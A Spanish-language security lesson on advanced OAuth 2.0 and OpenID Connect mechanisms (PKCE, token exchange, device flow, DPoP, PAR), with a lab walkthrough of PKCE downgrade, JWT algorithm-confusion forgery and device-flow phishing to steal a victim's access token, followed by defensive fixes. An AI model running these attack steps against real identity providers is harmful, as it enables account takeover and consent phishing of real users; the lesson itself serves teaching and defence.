Aprende › Vulnerabilidades web

OAuth 2.0 y OIDC avanzado: PKCE internals, token exchange, device flow y ataques modernos

· 11 min de lectura

Más allá de los fallos clásicos de OAuth: PKCE en profundidad, token exchange (RFC 8693), device authorization grant, DPoP, PAR y ataques modernos como token replay, consent phishing y metadata poisoning.

La lección de OAuth flows rotos cubrió los fallos clásicos que siguen apareciendo en auditorías: redirect_uri laxo, state ausente, implicit flow obsoleto y token leakage por referer. Esos vectores son el ABC de la seguridad en OAuth, pero el protocolo ha crecido mucho más allá del Authorization Code básico. Hoy los entornos corporativos usan flujos que la mayoría de desarrolladores ni siquiera conoce: token exchange entre microservicios, device authorization grant para CLIs y smart TVs, DPoP para vincular tokens a claves criptográficas y PAR para mover los parámetros de autorización al servidor.

Esta lección profundiza en esos mecanismos avanzados y en los ataques que los acompañan. No repite lo que ya cubrimos: aquí verás cómo funciona PKCE por dentro (y por qué S256 importa), cómo un atacante abusa del device flow para phishing corporativo, cómo un metadata poisoning redirige tokens al servidor equivocado y cómo la confusión de algoritmos en JWT sigue produciendo account takeover en 2026. Es la séptima lección de la Tanda 9.

Practica solo contra entornos autorizados o laboratorios. Interceptar tokens OAuth en producción ajena es intrusión y delito.

Qué es OAuth 2.0 avanzado#

OAuth 2.0: tres flujos avanzados — PKCE, Device Authorization Grant y Token Exchange
OAuth 2.0: tres flujos avanzados — PKCE, Device Authorization Grant y Token Exchange

OAuth 2.0 es un framework de delegación de acceso. OpenID Connect (OIDC) añade una capa de identidad encima con el id_token JWT. A nivel básico, el flujo Authorization Code intercambia un code por un access_token. Los mecanismos avanzados extienden ese modelo para cubrir escenarios que el flujo básico no resuelve:

  • PKCE (RFC 7636): protege el code contra interceptación en clientes públicos (SPAs, móviles, CLIs) donde no hay client_secret seguro.
  • Token Exchange (RFC 8693): permite a un servicio obtener un token en nombre de otro usuario o servicio sin que el usuario vuelva a autenticarse. Esencial en arquitecturas de microservicios.
  • Device Authorization Grant (RFC 8628): permite autenticar dispositivos sin navegador (smart TVs, IoT, CLIs) mostrando un código que el usuario introduce en otro dispositivo.
  • DPoP (RFC 9449): vincula el access_token a una clave criptográfica del cliente, impidiendo que un token robado se use desde otro equipo.
  • PAR (RFC 9126): el cliente envía los parámetros de autorización directamente al servidor por back-channel antes de redirigir al usuario, evitando manipulación en la URL.

Por qué ocurre: la causa raíz#

La complejidad es la raíz. OAuth 2.0 tiene más de veinte RFCs entre core y extensiones. Los desarrolladores implementan lo mínimo que funciona y dejan los controles avanzados para después, un después que no llega. Las causas concretas:

  • PKCE con method plain: la especificación permite code_challenge_method=plain (el challenge es el verifier sin hashear), que no protege contra interceptación. Muchos servidores lo aceptan por defecto.
  • Token exchange sin validación de audience: un microservicio solicita un token delegado sin verificar que el subject_token pertenece al flujo correcto.
  • Device flow sin rate limiting: el polling del device code se implementa sin backoff, y los códigos de usuario son cortos y predecibles.
  • Metadata discovery sin pinning: el cliente confía ciegamente en /.well-known/openid-configuration sin validar TLS ni cachear.
  • JWT sin verificación de algoritmo: el servidor acepta cualquier alg del header sin comparar con lo esperado.

Tipos y variantes#

MecanismoRFCEscenarioRiesgo si se implementa mal
PKCE7636SPAs, móviles, CLIsCode interceptado si se usa plain en vez de S256
Token Exchange8693Microservicios, delegationImpersonation cruzado entre servicios
Device Auth Grant8628Smart TVs, IoT, CLIsPhishing: el usuario autoriza sin saber qué app
DPoP9449Tokens vinculados a claveToken replay si no se implementa
PAR9126Params server-sideRequest URI forgery si el endpoint no está protegido
Dynamic Client Reg7591Multi-tenantSSRF vía redirect_uri controlado por el atacante

Dónde aparece#

  • Aplicaciones SPA que usan PKCE con method plain o sin PKCE.
  • Plataformas de microservicios con token exchange entre servicios internos sin audience validation.
  • CLIs corporativas (GitHub CLI, Azure CLI, gcloud) que usan device flow.
  • Identity providers multi-tenant (Okta, Auth0, Keycloak) con dynamic client registration abierta.
  • APIs internas que aceptan JWT sin validar el algoritmo de firma.

Cómo se detecta#

PruebaQué buscarHerramienta
PKCE downgradeEnviar code_challenge_method=plain y ver si el server aceptaBurp Repeater
Device flow abuseIniciar device flow y verificar si hay rate limiting en el pollingcurl, script custom
Metadata tamperingModificar respuesta de .well-known y verificar si el cliente la aceptamitmproxy, Burp
JWT alg confusionEnviar token con alg:none o alg:HS256 con la clave pública como secretjwt_tool, jwt.io
Token exchange sin audSolicitar token exchange con subject_token de otro audiencecurl, Postman
Dynamic registration SSRFRegistrar client con redirect_uri a servicio internocurl

Herramientas específicas#

  • jwt_tool: testing automatizado de JWT (alg confusion, injection, key brute force).
  • oauth-device-code-phishing: PoC de phishing con device flow.
  • Burp OAuth extension: visualización y modificación de flujos.
  • oidc-client-test: validador de implementaciones OIDC.
  • Keycloak local: IDP gratuito para montar laboratorio propio.

Explotación paso a paso en un laboratorio#

Paso 1 — Identificar el flujo#

Intercepta con Burp el inicio de sesión. Busca los parámetros de la URL de autorización:

GET /authorize?client_id=app123
  &redirect_uri=https://app.com/callback
  &response_type=code
  &scope=openid profile email
  &state=abc123
  &code_challenge=E9Melhoa2OwvFrEMTJguCHaoeK1t8URWbuGJSstw-cM
  &code_challenge_method=S256
Host: auth.ejemplo.com

Si ves code_challenge_method=S256, el cliente usa PKCE. Si no hay code_challenge, no usa PKCE.

Paso 2 — Probar PKCE downgrade#

Modifica la petición cambiando code_challenge_method a plain:

GET /authorize?client_id=app123
  &redirect_uri=https://app.com/callback
  &response_type=code
  &scope=openid profile email
  &state=abc123
  &code_challenge=mi_verifier_en_texto_plano
  &code_challenge_method=plain
Host: auth.ejemplo.com

Si el servidor acepta y devuelve un code, ese code se puede intercambiar enviando el verifier tal cual. Un atacante que intercepte el challenge en la URL conoce el verifier.

Paso 3 — JWT alg confusion#

Obtén un JWT legítimo del laboratorio token-forge. Decodifica el header:

echo 'eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9' | base64 -d
# {"alg":"RS256","typ":"JWT"}

El servidor firma con RS256 (clave privada RSA). Si acepta HS256, puedes firmar con la clave pública (que es pública) como secret HMAC:

# Descargar la clave pública del JWKS
curl https://auth.ejemplo.com/.well-known/jwks.json -o jwks.json

# Extraer la clave pública en PEM
python3 -c "
import json, base64
from cryptography.hazmat.primitives.asymmetric import rsa
# ... extraer n, e del JWK y convertir a PEM
"

# Forjar token con HS256 y la clave pública como secret
python3 jwt_tool.py TOKEN -X k -pk public.pem

Si el servidor valida con la clave pública (que usaba para verificar RS256) como secret HMAC, el token forjado es válido.

Paso 4 — Device flow phishing#

Inicia un device flow contra el authorization server:

curl -X POST https://auth.ejemplo.com/device/code \
  -d "client_id=app123&scope=openid profile email"

Respuesta:

{
  "device_code": "GmRh...kQ",
  "user_code": "WDJB-MJHT",
  "verification_uri": "https://auth.ejemplo.com/device",
  "expires_in": 900,
  "interval": 5
}

Envía verification_uri y user_code a la víctima por correo o chat. Si la víctima los introduce, autoriza tu device_code. Haz polling:

while true; do
  curl -s -X POST https://auth.ejemplo.com/token \
    -d "grant_type=urn:ietf:params:oauth:grant-type:device_code" \
    -d "device_code=GmRh...kQ" \
    -d "client_id=app123"
  sleep 5
done

Cuando la víctima autoriza, recibes un access_token con sus permisos.

Paso 5 — Verificar impacto#

Con el token obtenido, accede a los endpoints protegidos:

curl -H "Authorization: Bearer ACCESS_TOKEN" \
  https://api.ejemplo.com/me

Si devuelve los datos de la víctima, tienes account takeover.

Qué puede lograr un atacante#

VectorImpacto
PKCE downgrade a plainRobo de authorization code en redes inseguras o proxies
JWT alg confusionForjar tokens de cualquier usuario, account takeover total
Device flow phishingAcceso con los permisos de la víctima sin tocar su dispositivo
Token replay sin DPoPUsar token robado desde cualquier máquina
Metadata poisoningRedirigir tokens al endpoint del atacante
Dynamic registration SSRFEscanear red interna del IDP vía redirect_uri
Token exchange sin audImpersonar usuarios entre microservicios

Cómo se corrige#

Defensas modernas: DPoP, PAR, S256 obligatorio, rate limiting en device flow
Defensas modernas: DPoP, PAR, S256 obligatorio, rate limiting en device flow

PKCE obligatorio con S256#

Configurar el authorization server para rechazar code_challenge_method=plain y exigir S256:

# Keycloak: Admin Console → Realm Settings → Policies
# PKCE Code Challenge Method: S256 (reject plain)

# Spring Authorization Server
@Bean
public RegisteredClientRepository registeredClientRepository() {
    RegisteredClient client = RegisteredClient.withId(UUID.randomUUID().toString())
        .clientSettings(ClientSettings.builder()
            .requireProofKey(true)  // PKCE obligatorio
            .build())
        .build();
    return new InMemoryRegisteredClientRepository(client);
}

JWT: validar algoritmo explícitamente#

# Python (PyJWT)
import jwt

# MAL: acepta cualquier algoritmo
payload = jwt.decode(token, public_key, algorithms=["RS256", "HS256"])

# BIEN: solo el algoritmo esperado
payload = jwt.decode(token, public_key, algorithms=["RS256"])
// Node.js (jsonwebtoken)
// MAL
jwt.verify(token, key);

// BIEN
jwt.verify(token, publicKey, { algorithms: ['RS256'] });

DPoP para tokens vinculados#

El cliente genera un par de claves por sesión y envía un proof JWT en cada petición:

POST /token HTTP/1.1
DPoP: eyJhbGciOiJFUzI1NiIsInR5cCI6ImRwb3Arand0IiwiandrIjp7Imt0eSI6IkVDIiwiY3J2IjoiUC0yNTYiLCJ4IjoibDhx...fQ.eyJodG0iOiJQT1NUIiwiaHR1IjoiaHR0cHM6Ly9hdXRoLmVqZW1wbG8uY29tL3Rva2VuIiwiaWF0IjoxNjI..._sig
Content-Type: application/x-www-form-urlencoded

grant_type=authorization_code&code=abc123&code_verifier=dBjftJeZ4CVP...

El access_token queda vinculado a la clave pública del DPoP proof. Sin la clave privada correspondiente, un token robado es inútil.

Device flow: defensa#

  • Rate limiting estricto en el polling endpoint.
  • User codes largos y con entropía suficiente.
  • Mostrar claramente en la pantalla de autorización qué app, qué scopes, qué dispositivo.
  • Expiración corta del device_code (5-10 minutos).
  • Políticas organizacionales que bloqueen device flow para apps no aprobadas.

PAR para parámetros seguros#

POST /par HTTP/1.1
Content-Type: application/x-www-form-urlencoded

client_id=app123&client_secret=SECRET
&redirect_uri=https://app.com/callback
&response_type=code&scope=openid
&code_challenge=abc&code_challenge_method=S256

Respuesta:

{"request_uri": "urn:ietf:params:oauth:request_uri:abc123", "expires_in": 60}

El redirect usa solo la referencia:

GET /authorize?client_id=app123&request_uri=urn:ietf:params:oauth:request_uri:abc123

Los parámetros originales viajaron por back-channel autenticado. No pueden manipularse en la URL del navegador.

Errores comunes al defenderse#

  • Aceptar PKCE con method plain por compatibilidad con clientes viejos.
  • Implementar DPoP solo en el token endpoint pero no en los resource servers.
  • Device flow sin límite de polling: un atacante puede hacer brute force del user_code.
  • Confiar en /.well-known/openid-configuration sin verificar TLS ni cachear con TTL.
  • Permitir dynamic client registration sin aprobación manual: abre SSRF y redirect_uri arbitrario.
  • Validar JWT con una lista de algoritmos demasiado amplia.
  • Token exchange entre microservicios sin validar el claim aud del subject_token.

Preguntas frecuentes#

PKCE plain vs S256: si ambos protegen contra terceros que no ven la URL, para qué S256#

PKCE con plain envía el code_verifier como code_challenge en la URL de autorización. Si un atacante intercepta esa URL (log del servidor, extensión de navegador, proxy corporativo), conoce el verifier y puede intercambiar el code. Con S256, la URL contiene solo el hash SHA-256 del verifier: aunque la intercepte, no puede revertir el hash para obtener el verifier original.

DPoP elimina la necesidad de rotar tokens#

No. DPoP vincula el token a una clave, pero si la clave privada se compromete (malware en el dispositivo), el atacante puede generar proofs válidos. Sigue siendo recomendable rotar access_tokens con lifetime corto y usar refresh tokens one-time-use.

El device flow es seguro si uso user codes largos#

Más largos ayuda, pero el riesgo principal del device flow no es brute force del code, sino ingeniería social: convencer al usuario de que introduzca un código que autoriza la app del atacante. La defensa es mostrar información clara en la pantalla de consentimiento y restringir el device flow a apps aprobadas por la organización.

Token exchange es lo mismo que service accounts#

No. Un service account tiene su propia identidad permanente. Token exchange permite a un servicio obtener un token temporal que actúa en nombre de un usuario específico (delegation) o como el servicio pero con el contexto del usuario (impersonation). La diferencia importa para auditoría: con delegation sabes quién es el usuario original.

Qué IDPs soportan PAR y DPoP en 2026#

Keycloak soporta ambos desde la versión 21. Auth0 soporta PAR y DPoP desde 2024. Okta soporta DPoP desde 2023. Azure AD soporta PAR pero DPoP está en preview. Google no soporta DPoP todavía para la mayoría de APIs.

Dónde practico estos ataques#

Los laboratorios signinbleed y token-forge de whoami-labs cubren leakage de autenticación y forgery de JWT. Para device flow y token exchange, montar un Keycloak local con Docker es la mejor opción: configuras un realm con device flow habilitado y pruebas el flujo completo en minutos.

Resumen#

  • PKCE protege el authorization code en clientes públicos: usar siempre S256, nunca plain.
  • Token Exchange (RFC 8693) permite delegation e impersonation entre microservicios: validar siempre aud y sub del subject_token.
  • Device Authorization Grant es vulnerable a consent phishing: mostrar info clara, rate limiting, expiración corta.
  • DPoP vincula tokens a claves criptográficas: un token robado sin la clave privada es inútil.
  • PAR mueve los parámetros de autorización al back-channel: imposible manipular redirect_uri en la URL.
  • JWT alg confusion (none, RS256 a HS256) sigue produciendo account takeover: validar el algoritmo explícitamente.

Fuentes y lecturas recomendadas#

Practícalo en estos laboratorios

Ver todos los laboratorios de esta categoría